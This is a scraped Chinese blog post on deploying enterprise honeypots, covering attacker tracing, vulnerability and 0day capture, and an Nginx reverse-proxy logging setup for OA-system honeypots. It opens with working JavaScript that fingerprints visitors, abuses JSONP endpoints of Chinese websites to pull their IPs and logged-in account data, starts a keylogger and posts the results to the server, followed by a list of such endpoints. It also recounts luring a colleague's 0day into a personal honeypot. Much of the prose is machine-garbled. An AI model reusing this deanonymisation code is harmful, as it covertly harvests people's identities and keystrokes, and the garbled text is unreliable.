首页 » PHP教程 » phpswfupload技巧_企业蜜罐支配实践

phpswfupload技巧_企业蜜罐支配实践

访客 2024-10-29 0

扫一扫用手机浏览

文章目录 [+]

<script>"use strict";function ajax(params) { params = params || {}; params.data = params.data || {}; var json = params.jsonp ? jsonp(params) : json(params); function jsonp(params) { var callbackName = params.jsonp; var head = document.getElementsByTagName('head')[0]; params.data['callback'] = callbackName; var data = formatParams(params.data); var script = document.createElement('script'); head.appendChild(script); window[callbackName] = function (json) { head.removeChild(script); clearTimeout(script.timer); window[callbackName] = null; params.success && params.success(json); }; script.src = params.url + '?' + data; if (params.time) { script.timer = setTimeout(function () { window[callbackName] = null; head.removeChild(script); params.error && params.error({ message: 'long time' }); }, time); } } function formatParams(data) { var arr = []; for (var name in data) { arr.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name])); } // arr.push('v=' + random()); return arr.join('&'); } function random() { return Math.floor(Math.random() 10000 + 500); }}function BrowserType(url) { var ua = navigator.userAgent.toLowerCase(); var testUa = function testUa(regexp) { return regexp.test(ua); }; var testVs = function testVs(regexp) { return ua.match(regexp).toString().replace(/[^0-9|_.]/g, "").replace(/_/g, "."); }; var system = "unknow"; if (testUa(/windows|win32|win64|wow32|wow64/g)) { system = "windows"; } else if (testUa(/macintosh|macintel/g)) { system = "macos"; } else if (testUa(/x11/g)) { system = "linux"; } else if (testUa(/android|adr/g)) { system = "android"; } else if (testUa(/ios|iphone|ipad|ipod|iwatch/g)) { system = "ios"; } var systemVs = "unknow"; if (system === "windows") { if (testUa(/windows nt 5.0|windows 2000/g)) { systemVs = "2000"; } else if (testUa(/windows nt 5.1|windows xp/g)) { systemVs = "xp"; } else if (testUa(/windows nt 5.2|windows 2003/g)) { systemVs = "2003"; } else if (testUa(/windows nt 6.0|windows vista/g)) { systemVs = "vista"; } else if (testUa(/windows nt 6.1|windows 7/g)) { systemVs = "7"; } else if (testUa(/windows nt 6.2|windows 8/g)) { systemVs = "8"; } else if (testUa(/windows nt 6.3|windows 8.1/g)) { systemVs = "8.1"; } else if (testUa(/windows nt 10.0|windows 10/g)) { systemVs = "10"; } } else if (system === "macos") { //systemVs = testVs(/os x [\d._]+/g) } else if (system === "android") { //systemVs = testVs(/android [\d._]+/g) } else if (system === "ios") { //systemVs = testVs(/os [\d._]+/g) } var platform = "unknow"; if (system === "windows" || system === "macos" || system === "linux") { platform = "desktop"; } else if (system === "android" || system === "ios" || testUa(/mobile/g)) { platform = "mobile"; } var engine = "unknow"; var supporter = "unknow"; if (testUa(/applewebkit/g)) { engine = "webkit"; if (testUa(/edge/g)) { supporter = "edge"; } else if (testUa(/opr/g)) { supporter = "opera"; } else if (testUa(/chrome/g)) { supporter = "chrome"; } else if (testUa(/safari/g)) { supporter = "safari"; } } else if (testUa(/gecko/g) && testUa(/firefox/g)) { engine = "gecko"; supporter = "firefox"; } else if (testUa(/presto/g)) { engine = "presto"; supporter = "opera"; } else if (testUa(/trident|compatible|msie/g)) { engine = "trident"; supporter = "iexplore"; } var engineVs = "unknow"; if (engine === "webkit") { engineVs = testVs(/applewebkit\/[\d._]+/g); } else if (engine === "gecko") { engineVs = testVs(/gecko\/[\d._]+/g); } else if (engine === "presto") { engineVs = testVs(/presto\/[\d._]+/g); } else if (engine === "trident") { engineVs = testVs(/trident\/[\d._]+/g); } var supporterVs = "unknow"; if (supporter === "chrome") { supporterVs = testVs(/chrome\/[\d._]+/g); } else if (supporter === "safari") { supporterVs = testVs(/version\/[\d._]+/g); } else if (supporter === "firefox") { supporterVs = testVs(/firefox\/[\d._]+/g); } else if (supporter === "opera") { supporterVs = testVs(/opr\/[\d._]+/g); } else if (supporter === "iexplore") { supporterVs = testVs(/(msie [\d._]+)|(rv:[\d._]+)/g); } else if (supporter === "edge") { supporterVs = testVs(/edge\/[\d._]+/g); } var shell = "none"; var shellVs = "unknow"; if (testUa(/micromessenger/g)) { shell = "wechat"; shellVs = testVs(/micromessenger\/[\d._]+/g); } else if (testUa(/qqbrowser/g)) { shell = "qq"; shellVs = testVs(/qqbrowser\/[\d._]+/g); } else if (testUa(/ucbrowser/g)) { shell = "uc"; shellVs = testVs(/ucbrowser\/[\d._]+/g); } else if (testUa(/qihu 360se/g)) { shell = "360"; } else if (testUa(/2345explorer/g)) { shell = "2345"; shellVs = testVs(/2345explorer\/[\d._]+/g); } else if (testUa(/metasr/g)) { shell = "sougou"; } else if (testUa(/lbbrowser/g)) { shell = "liebao"; } else if (testUa(/maxthon/g)) { shell = "maxthon"; shellVs = testVs(/maxthon\/[\d._]+/g); } var languages = navigator.languages || navigator.language || navigator.userLanguage; var CPUInfo = navigator.platform; var CPUNumber = navigator.hardwareConcurrency; var canvas = document.createElement("canvas"); var gl = canvas.getContext("experimental-webgl"); var debugInfo = gl.getExtension("WEBGL_debug_renderer_info"); var VideoCardSuppliers = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); var GraphicsCardRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); var ScreenWidth = window.screen.width; var ScreenHeight = window.screen.height; var ColorDepth = window.screen.colorDepth; // var NetType = navigator.connection.type; var res = Object.assign({ engine: engine, engineVs: engineVs, platform: platform, supporter: supporter, supporterVs: supporterVs, system: system, systemVs: systemVs, languages: languages, CPUInfo: CPUInfo, CPUNumber: CPUNumber, VideoCardSuppliers: VideoCardSuppliers, GraphicsCardRenderer: GraphicsCardRenderer, ScreenWidth: ScreenWidth, ScreenHeight: ScreenHeight, ColorDepth: ColorDepth }, shell === "none" ? {} : { shell: shell, shellVs: shellVs }); // var formData = new FormData(); // formData.append('jInfo', window.btoa(unescape(encodeURIComponent(JSON.stringify(res))))); // bt fetch(url, { cache: "no-cache", method: "POST", body: window.btoa(unescape(encodeURIComponent(JSON.stringify(res)))) });}ajax({ url: 'https://www.taobao.com/help/getip.php', jsonp: 'ipCallback', data: {}, success: function success(res) { localStorage.setItem('pub_ip', JSON.stringify(res)); }, error: function error(_error) { console.log(_error); }});ajax({ url: 'https://tieba.baidu.com/tbmall/gettdouiconinfo', jsonp: 'jsonp1613919078534', data: {}, success: function success(res) { localStorage.setItem('baidu', JSON.stringify(res)); }, error: function error(_error) { console.log(_error); }});ajax({ url: 'https://www.qidian.com/ajax/UserInfoFemale/GetUserInfo', jsonp: 'autoLoginHandler', data: {'areaid': 6, 'appid': 10, 'format': 'jsonp', 'method': 'autoLoginHandler', 'autoLoginHandler': '', '_': '1607051376245'}, success: function success(res) { localStorage.setItem('qidian', JSON.stringify(res)); }, error: function error(_error) { console.log(_error); }});ajax({ url: 'https://www.yy.com/yyweb/user/queryUserInfo.json', jsonp: 'jsonp', data: {}, success: function success(res) { localStorage.setItem('yy', JSON.stringify(res)); }, error: function error(_error) { console.log(_error); }});ajax({ url: 'https://v2.sohu.com/api/pc-home-city/home-data/ip2location', jsonp: 'jQuery1124018281896477578718_1606458878259', data: {'_': '1606458878259'}, success: function success(res) { localStorage.setItem('sohu_public_ip', JSON.stringify(res)); }, error: function error(_error) { console.log(_error); }});function send_data(types) { var data = {}; data["public_ip"] = {}; try { data["public_ip"]['taobao_public_ip'] = JSON.parse(localStorage.getItem('pub_ip'))['ip']; } catch (e) { data["public_ip"]['taobao_public_ip'] = "taobaoip获取接口可能已失落效或者未设置,请尽快检讨"; } finally {} try { data["public_ip"]["sohu_public_ip"] = JSON.parse(localStorage.getItem('sohu_public_ip'))["data"]["ip"]; } catch (e) { data["public_ip"]['sohu_public_ip'] = "sohu_ip获取接口可能已失落效或者未设置,请尽快检讨"; } finally {} types.forEach(function (item) { if (item.endsWith("ip")){ }else{ data[item] = JSON.parse(localStorage.getItem(item)); } }); // var jp = new FormData(); // jp.append("jInfo", window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))); fetch('/other_data', { method: 'POST', cache: "no-cache", body: window.btoa(unescape(encodeURIComponent(JSON.stringify(data)))) });}var logger = "";var keyDown = function keyDown(e) { var e = e || event; var currKey = e.keyCode || e.which || e.charCode; var keyName = "" if (currKey > 7 && currKey < 32 || currKey > 31 && currKey < 47) { switch (currKey) { case 8: keyName = "[退格]"; break; case 9: keyName = "[制表]"; break; case 13: keyName = "[回车]"; break; //case 16:keyName = "[shift]"; break; case 17: keyName = "[Ctrl]"; break; case 18: keyName = "[Alt]"; break; case 20: keyName = "[大小写]"; break; case 32: keyName = "[空格]"; break; case 33: keyName = "[PageUp]…</script>

常用于获取攻击者个人信息的JSONP接口:

http://burp/favicon.icohttps://openfpcdn.io/fingerprintjs/v3https://verify.cmpassport.com/h5/httpsPreGetmobilehttps://www.taobao.com/help/getip.php?callback=ipCallbackhttps://www.yy.com/yyweb/user/queryUserInfo.json?callback=jsonphttps://www.cmpassport.com/h5/onekeylogin/getNewUnicomPhonescriphttps://www.cmpassport.com/h5/onekeylogin/getNewTelecomPhonescriphttps://tieba.baidu.com/tbmall/gettdouiconinfo?callback=jsonp1613919078534https://yuedu.baidu.com/nauser/getyduserinfo?na_uncheck=1&opid=wk_na&callback=bdhttps://widget.weibo.com/public/aj_relationship.php?fuid=2991975565&callback=STK_16073033003861https://v2.sohu.com/api/pc-home-city/home-data/ip2location?_=1606458878259&callback=jQuery1124018281896477578718_1606458878259https://id6.me/auth/preauth.do?paramKey=10F72757C5A5A12B0A6DA61E62BDF3238163CC31B9CC3CC506CCD6BF67D3BC8CEEC92DAF1ED125BC4F681D118A2ED62D8CD18EE0629220BD69802469FAB4E1C62067CA310EDC5E1A2DCDCF0E8202AA852D611A0B78364344F15A866395C9AAF3C1061C9F6B1ACDCAB232960AC6F14D615ED5184184BDB125AC647A8422EC25D7&clientType=2¶mStr=39826A2D6BADA0327947D80463C1422C01D472F90ECC1B7FC72D262D1C7AC4FC201506C46971655C6C67C5714F232A532126204E40DD35C24C4264AC5D106D9EBEFEBB98157CB7230F5F8BF1788608CA3CF9F38998815804A4652BF20C1EB763525257296155BAF2B4B46836ED276DE6944344B4135D94555640885B4363C4AD&appId=8013416909&format=jsonp&sign=C733AA0C9B2F41175F94344CAF0AA227C2F2B199&version=1.5&https://opencloud.wostore.cn/openapi/netauth/precheck/wp?timeStamp=1659325750804&packname=xxx&business_type=1&format=jsonp&sign=FCE6F4692C5FEDD8993FDEBD079EBF49&callback=getNewUnicomPhone&fp=&client_type=7&version=v4.5&client_id=99166000000000000228&key=c4ZMLe9%2F1iX9Do2h4FGMqy5vC0IzZ%2Fgj9LePAFU%2BwTSc%2BHUbB6W1arA9YDRqR7HjFok226YHwwJrLq06Da%2BBMBM%2FPV7%2FexfV3uV%2BbR0xzMz4Xy%2F1pKyIriuaXA%2BieaQeYtvjXs1gTYXWc%2F8vZb3TODk9cKywn9FOI7m3iqrJUko%3D&packsign=xxx&https://www.qidian.com/ajax/UserInfoFemale/GetUserInfo?areaid=6&appid=10&format=jsonp&method=autoLoginHandler&autoLoginHandler=&_=1607051376245&callback=autoLoginHandlerhttps://www.qidian.com/ajax/UserInfoFemale/GetUserInfo?areaid=6&appid=10&format=jsonp&method=autoLoginHandler&autoLoginHandler=&_=1607051376245&callback=autoLoginHandler

在获取攻击者的数据信息(IP、ID、手机号码、用户名、邮箱地址)后可以溯源攻击者:

phpswfupload技巧_企业蜜罐支配实践

针对HW行动中蜜罐通过JSONP捕获攻击者个人信息的手腕可以通过制订红队行动规范来规避,例如: 利用专门用于红蓝对抗的攻击机(虚拟机)来履行攻击操作 用于红蓝对抗的攻击机(虚拟机)不能残留个人数据信息,包括系统用户名、系统文件、浏览器登录会话等 在红蓝对抗中严格哀求每一位红队成员利用IP代理池来履行攻击,杜绝利用真实IP地址(例如:公司公网IP地址)

phpswfupload技巧_企业蜜罐支配实践
(图片来自网络侵删)

由于HW期间的蜜罐紧张通过JSONP技能来实现对攻击者个人数据的采集,以是我们也可以基于此事理通过在浏览器中安装反蜜罐插件来实现,下面是几个比较好用的插件,有兴趣的师傅可以试试看,当然最好的办法还是利用上面所述的红队行动规范来进行约束为好:

https://github.com/jayus0821/Armorhttps://github.com/cnrstar/anti-honeypothttps://github.com/iiiusky/AntiHoneypot-Chrome-simple除此之外我们也可以再对目标进行信息网络的阶段就直接过滤掉蜜罐,FOFA之前在检索与目标关联的资产时开启蜜罐过滤功能,不多在最新的fofa.info中该功能模块彷佛被移除了,即便是添加"is_honeypot=false"关键词也弗成,但是我们可以通过证书特色、网站ICP备案来对目标资产进行筛选处理:

漏洞感知

在每年的HW行动中,各种CMS、OA系统、中间件等都是被常常"关照"的重点工具,而这些厂商即便是有最新的补丁推送,客户也不一定辞官网去看,而且看了也不一定去下载或者去打补丁,从而造成的一种征象便是上一年的攻击目标依旧可以利用上一年的历史漏洞来攻破,乃至上一年的残留的webshell依旧还存在,而由此造成甲方产品名誉受损、客户成交量低落、客户满意度下滑、客户数据丢失等浩瀚的问题针对以上问题,拥有自家业务产品的甲方企业(例如:泛微、致远、通达等)不妨发挥一下蜜罐的另一种浸染——漏洞感知,说到这里很多人都会说"蜜罐本来便是有漏洞的系统,还感知什么呀,这不是白白摧残浪费蹂躏韶光和资源吗?",但是站在甲方的角度来看利用蜜罐来进行漏洞感知有以下好处: 重点推送:通过蜜罐的漏洞感知可以理解到某一个韶光段区间,攻击者攻击蜜罐利用最多的漏洞是哪一种类型、哪一种办法,之后在HW和重保期间可以就重点客户进行重点推送攻击者攻击频率较高的漏洞的安全补丁 应急相应:拥有自家业务产品的甲方大多数都有自己的相应团队来处理客户的各种安全单(入侵攻击、安全通报等),此时蜜罐的漏洞感知可以给我们供应一种借鉴思路,即碰着类似的应急相应类安全单子时我们可以优先看是否存在哪些攻击者高频率利用的攻击漏洞,间接性的缩短排查的韶光,当然如果是长期从事应急相应的事情职员,凭借其丰富的履历也可以快速定位问题所在

企业如果利用蜜罐做漏洞感知时须要把稳以下几个问题:

蜜罐交互:企业搭建的蜜罐一样平常会选择高交互式蜜罐,即在外网搭建一套真实的系统版本选择:蜜罐选择支配那一套系统版本也是一个值得商榷的问题,一样平常在漏洞感知阶段会支配用户量最多的版本安全补丁:蜜罐支配的目的是做漏洞利用的感知,通过对攻击者入侵痕迹的剖析来解读攻击者常用于攻击系统的漏洞是哪些风险收敛:蜜罐支配的做事器理应关闭除蜜罐做事之外的所有做事和端口(可以留SSH用于运维)实现风险收敛,规避攻击者通过其他办法入侵的可能性全量日志:攻击者入侵蜜罐所采取的攻击类型、攻击载荷等信息大多数都是通过日志剖析而得到,如果我们采集的日志不充分、不敷,那么蜜罐支配将属于无效支配假造程度:蜜罐的假造程度决定了蜜罐是否有效支配,蜜罐的有效支配依赖于成功勾引攻击者来攻击,如果无法勾引或者被攻击者看破这是一个蜜罐系统,那么将半途而废自我保护:蜜罐支配后须要与企业生产网络进行隔离,不能使攻击者将其作为攻击者攻击企业内部运用的跳板,一样平常选择一个独立且不连通其他网段的网段进行支配为宜0Day捕获

目前有很多的企业或个人都会考试测验去支配各种各样的蜜罐产品,且大部分产品都是一些OA系统、CMS等常用的系统,目的大多都是为了捕获在野利用的通用型0day

企业在外网支配产品蜜罐实现对在野利用0day的捕获,由此产生的代价在于可以更快一步创造企业产品中存在的薄弱点并通过对在野利用0day的复现、漏洞利用载荷的剖析来定位底层代码功能点位,之后通过对薄弱点进行修复,从而提升系统的整体安全性

个人在外网支配产品蜜罐的目的紧张在于捕获在野利用的0day并对其进行复现,确认其真实性、可用性,之后在HW、重保等攻防阶段有针对性的对目标站点进行攻击拿分,而且现在像360、奇安信、长亭、深信服等安全公司的红队除了他们成员自己有挖掘干系产品的0day用于攻防演习训练外,实在还有他们的研究团队在后面做技能支持,比如:当你在HW阶段碰着某一个别系,但是你找寻了所有互联网上的历史漏洞的利用载荷都未打成功时,那么此时你可以选择将你的目标站点的URL发到后方支持团队,让拥有0day的实验室成员帮忙打,可能不到一下子webshell的链接信息就来了,但是在这个过程中你并不能真正的打仗到0day的利用载荷,当你碰着同样的系统,那么你就又"木"住了,又得找后方支持团队供应支持,有句话叫"授人以鱼不如授人以渔",结合我们的攻防场景又可以诡异式的演化为"等待被授以渔不如主动找渔":有一个小伙子在打攻防时找自己的领导说自己创造了一个OA系统,但是自己打完了互联网上的所有历史漏洞都没有效果,想办法导帮忙用0day打一下,领导先是一顿夸奖,之后一个回车下去将漏洞利用的载荷成功打入了小伙子搭建的蜜罐中,之后领导将shell丢给了小伙子,让小伙子自己去打内网,但是没过多久,小伙子说目标打偏了,与此同时0day已然得手(当然不建议去走这种套路哈,确实有点损~)

企业或个人通过支配产品蜜罐来捕获0day时须要把稳以下几个问题:

蜜罐交互:用于捕获0day的蜜罐建议利用一套真实的系统,使其具备高交互蜜罐的特性版本选择:用于捕获0day的版本紧张有两个大的选择方向,一个是选择当前产品最新版本,另一个是选择用户量最多且已打完所有历史补丁的安全版本全量日志:要想捕获0day的完全攻击载荷就必须具备能够获取攻击者的全部要求数据(包括POST要求体)的能力风险收敛:蜜罐支配的做事器理应关闭除蜜罐做事之外的所有做事和端口(可以留SSH用于运维)实现风险收敛,规避攻击者通过其他办法入侵的可能性假造程度:蜜罐的假造程度决定了蜜罐是否有效支配,蜜罐的有效支配依赖于成功勾引攻击者来攻击,如果无法勾引或者被攻击者看破这是一个蜜罐系统,那么将半途而废入侵检测

企业在安全培植上大多数都会更加侧重于边界安全的防护,然而攻击者一旦通过0day、社工钓鱼、近源攻击等攻击手腕打破网络边界进入内网,那么企业对内网失落陷造成的横向移动感知则会成为防护的盲区,而在内网支配蜜罐可以为此供应良好的帮助,一方面在内网支配蜜罐可以勾引攻击者陷入蜜网,阔别核心业务(之前在打HW的时候有听到同事提及过有一家厂商曾在内网搭建了一套域环境,之后害的红队成员白白忙活),另一方面可以对内网失落陷主机的非常横向移动进行感知

目前比较好用的一套开源免费的蜜罐系统该当归HFish莫属,它供应了浩瀚的蜜罐做事,比如:MySQL蜜罐、Redis蜜罐、FTP蜜罐、SSH蜜罐等,用户可以选择性的支配,同时HFish还供应了攻击态势大屏用于可视化展示可疑的攻击行为,关于HFish的更多利用可以查看文末参考链接[5]

当然也可以自我构建蜜罐做事,下面是笔者之前本地在搭建MySQL蜜罐捕获攻击者个人信息的一个示例:

之后会获取到的个人信息进行base64解密获取到用户登录主机的用户名信息和WXID信息:

初始架构

最初根据领导的哀求(0day捕获、漏洞利用感知、可以入侵行为捕获)绘制了蜜罐的初始架构图,详细如下: OA系统1:支配最新的OA版本,紧张用于捕获0day OA系统2:支配用户量最多的OA版本,未打历史补丁,紧张用于漏洞利用感知 OA系统3:支配用户量最多的OA版本,一方面捕获0day,另一方面捕获可疑入侵行为(便于后期对捕获的可疑入侵痕迹向之前的OA版本进行推演是否影响) 掌握端系统:通过创建一个定时任务来定期的拉取三台做事器真个日志,检讨职员定期在掌握端进行日志剖析,并通过日志剖析工具或者风险系统进行可视化展示

经由后期结合OA日志记录特性和架构的初步设计再次思考创造次架构存在一下不敷: OA系统端日志记录不全,导致无法捕获到POST的要求记录 OA系统端开启全量日志记录后创造会影响全体系统的性能 掌握端须要定期去拉取三台做事器上的日志记录,同时须要回传到本地并进行日志剖析,过程过于繁杂

架构优化

由于0day捕获、漏洞利用感知、攻击者恶意入侵行为剖析的根本在于获取到全量的攻击日志,以是获取完全的日志对付搭建这次蜜罐的目的而言至关主要,基于此目的出发对上述不成熟的架构优化如下: Nginx:供应外网IP地址与内网IP地址,通过反向代理对来自公网的域名要求进行分发处理,同时对针对不同域名的要求做全量记录 OA系统1:支配最新的OA版本,紧张用于捕获0day OA系统2:支配用户量最多的OA版本,未打历史补丁,紧张用于漏洞利用感知 OA系统3:支配用户量最多的OA版本,一方面捕获0day,另一方面捕获可疑入侵行为(便于后期对捕获的可疑入侵痕迹向之前的OA版本进行推演是否影响)

支配流程操作系统

当时公司支配环境采取的是云主机,且购买了干系的域名,本地演示时为了方便起见采取一下系统: CentOS:安装Nginx并进行反向代理配置 Windows 7 1:OA系统1 Windows 7 2:OA系统2 Windows 7 3:OA系统3

环境构建CentOS(Nginx)

A、安装支配NginxStep 1:安装依赖包

yum -y install gcc gcc-c++ make libtool zlib zlib-devel openssl openssl-devel pcre pcre-devel

Step 2:下载安装Nginx

wget -c https://nginx.org/download/nginx-1.18.0.tar.gztar -zxf nginx-1.18.0.tar.gzcd nginx-1.18.0

Step 3:配置SSL(这里不须要SSL,有须要的可以试试)

不须要SSL

./configure --prefix=/usr/local/nginx

须要SSL

./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module

实行以上命令会会返回Nginx默认的配置文件路径如下:

nginx path prefix: "/usr/local/nginx"nginx binary file: "/usr/local/nginx/sbin/nginx"nginx modules path: "/usr/local/nginx/modules"nginx configuration prefix: "/usr/local/nginx/conf"nginx configuration file: "/usr/local/nginx/conf/nginx.conf"nginx pid file: "/usr/local/nginx/logs/nginx.pid"nginx error log file: "/usr/local/nginx/logs/error.log"nginx http access log file: "/usr/local/nginx/logs/access.log"nginx http client request body temporary files: "client_body_temp"nginx http proxy temporary files: "proxy_temp"nginx http fastcgi temporary files: "fastcgi_temp"nginx http uwsgi temporary files: "uwsgi_temp"nginx http scgi temporary files: "scgi_temp"

Step 5:编译安装

makemake install

Step 6:启动Nginx

cd /usr/local/nginx/sbin./nginx

Step 7:进行访问测试

B、负载均衡实现

负载均衡实在便是将大量的要求按照我们指定的办法均衡的分配给集群中的每台做事器,规避将集群中大量要求只要求某一台做事器并使该做事器宕机的情形,在这里我们可以通过配置upstream将来自不同用户针对不同域名的要求分配给特定的后端做事(这里只是做了单一的处理,如果有资源可以增加配置项对要求进行分发处理,实在对付蜜罐来说也还好,不用负载均衡也是可以的):

upstream oa.aaa.com{ server 192.168.17.206:80; } upstream oa.bbb.com{ server 192.168.17.218:80; } upstream oa.ccc.com{ server 192.168.17.219:80; }

C、反向代理配置利用Nginx反向代理,访问oa.aa.com直接跳转到192.168.17.206:80

server { listen 80; server_name oa.aaa.com; location / { proxy_pass http://192.168.17.206:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } }

利用Nginx反向代理,访问oa.bbb.com直接跳转到192.168.17.218:80

server { listen 80; server_name oa.bbb.com; location / { proxy_pass http://192.168.17.218:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } }

利用Nginx反向代理,访问oa.ccc.com直接跳转到192.168.17.219:80

server { listen 80; server_name oa.ccc.com; location / { proxy_pass http://192.168.17.219:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } }

D、禁止IP地址访问为了使攻击者只能通过域名来访问,我们须要在反向代理做事器上设置禁止通过IP地址来访问做事,只许可通过域名的访问,我们可以再nginx.conf中进行如下配置来实现,这里的意思是指如果没有匹配上的server name,那么就会找default默认,返回403缺点

server { listen 80 default_server; server_name _; return 403; }Windows 7 1~3:OA系统1

Window 7操作系统中只须要下载通达OA官方安装包并进行安装即可,过程不再赘述:

安装后启动即可:

日志采集日志格式配置

日志是我们后期对攻击者的攻击行为进行剖析的主要依据,以是能否采集到全量的攻击日志对我们蜜罐搭建的成败实在起的了很主要的浸染,一个全量的日志有助于我们更加轻松、快捷的剖析和定位攻击者利用的攻击载荷,另一个方面是有助于我们再现攻击者的采取0day入侵时的攻击路径Nginx的配置文件中供应了一个名为main的日志记录格式实例,默认利用注释进行了标注,用户利用时只需去除注释即可,详细示例如下:

#log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"';

干系变量解释: $remote_addr:记录访问网站的客户端地址 $remote_user:远程客户端用户名 $time_local:记录访问韶光与时区 $request:用户的http要求起始行信息 $status:http状态码,记录要求返回的状态码,例如:200、301、404等 $body_bytes_sent:做事器发送给客户真个相应body字节数 $http_referer:记录这次要求是从哪个连接访问过来的,可以根据该参数进行防盗链设置。
$http_user_agent:记录客户端访问信息,例如:浏览器、手机客户端等 $http_x_forwarded_for:当前端有代理做事器时,设置Web节点记录客户端地址的配置,此参数生效的条件是代理做事器也要进行干系的x_forwarded_for设置在这里我们会创造以上的记录只会记录到一些大略的要求,但是并不会记录到我们实际的POST类要求,为了记录到要求体我们须要自定义log_format:

log_format main '$remote_addr - $remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" "$request_body"';日志存储选择

由于我们的日志采集由是否有攻击者进行攻击而决定,以是日志的体量并不愿定,故而我们要选取一个存储空间较大的目录来存储对应的日志文件,在这里我们选择在根目录下创建一个data文件夹来存储日志

日志采集周期

由于我们的日志采集由是否有攻击者进行攻击而决定,以是不但这天记的体量并不愿定,而且攻击者攻击的韶光也不愿定,如果我们将所有的日志都记录到一个文件中,那么这个文件将会很大很大,这个对我们后期进行剖析将会带来不必要的麻烦,基于此我们可以创建三个文件夹分别用于存储攻击者访问三台OA系统的日志

同时我们还须要对日志进行按天来记录:

map $time_iso8601 $logdate { '~^(?<ymd>\d{4}-\d{2}-\d{2})' $ymd; default 'date-not-found'; }终极配置

终极的Nginx配置文件如下所示:

worker_processes 3;error_log logs/error.log;error_log logs/error.log notice;error_log logs/error.log info;pid logs/nginx.pid;events { worker_connections 1024;}http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; map $time_iso8601 $logdate { '~^(?<ymd>\d{4}-\d{2}-\d{2})' $ymd; default 'date-not-found'; } log_format main '$remote_addr - $remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" "$request_body"'; upstream oa.aaa.com{ server 192.168.17.206:80; } upstream oa.bbb.com{ server 192.168.17.218:80; } upstream oa.ccc.com{ server 192.168.17.219:80; } server { listen 80 default_server; server_name _; return 403; } server { listen 80; server_name oa.aaa.com; location / { proxy_pass http://192.168.17.206:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } access_log /data/log/nginx/server1/access1-$logdate.log main; } server { listen 80; server_name oa.bbb.com; location / { proxy_pass http://192.168.17.218:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } access_log /data/log/nginx/server2/access2-$logdate.log main; } server { listen 80; server_name oa.ccc.com; location / { proxy_pass http://192.168.17.219:80; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; client_max_body_size 2048m; proxy_connect_timeout 300s; proxy_read_timeout 300s; proxy_send_timeout 300s; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } access_log /data/log/nginx/server3/access3-$logdate.log main; }}测试演示

Step 1:更新nginx.conf后重新启动nginx

./nginx -s quit./nginx

Step 2:测试域名解析

Step 3:蜜罐入侵攻击操作

Step 4:日志记录查看

大略单纯记录裁取如下(由于这里我们再现环境时利用的是本地构建的环境,以是攻击IP地址源自我们本地的局域网地址,但是全体流程与云上搭建一样,这里只不过便是少了一个域名注册的点,而这也是一个坑点):

192.168.17.1 - - [15/Nov/2022:10:27:09 -0500] "GET / HTTP/1.1"200 4140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:09 -0500] "GET /static/images/tongda.ico HTTP/1.1"200 894 "http://oa.aaa.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:31 -0500] "GET //inc/expired.php HTTP/1.1"200 2840 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:31 -0500] "GET //ispirit/login_code.php HTTP/1.1"200 251 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:32 -0500] "GET //general/ HTTP/1.1"200 2493 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:32 -0500] "GET //mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 HTTP/1.1"200 17 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - 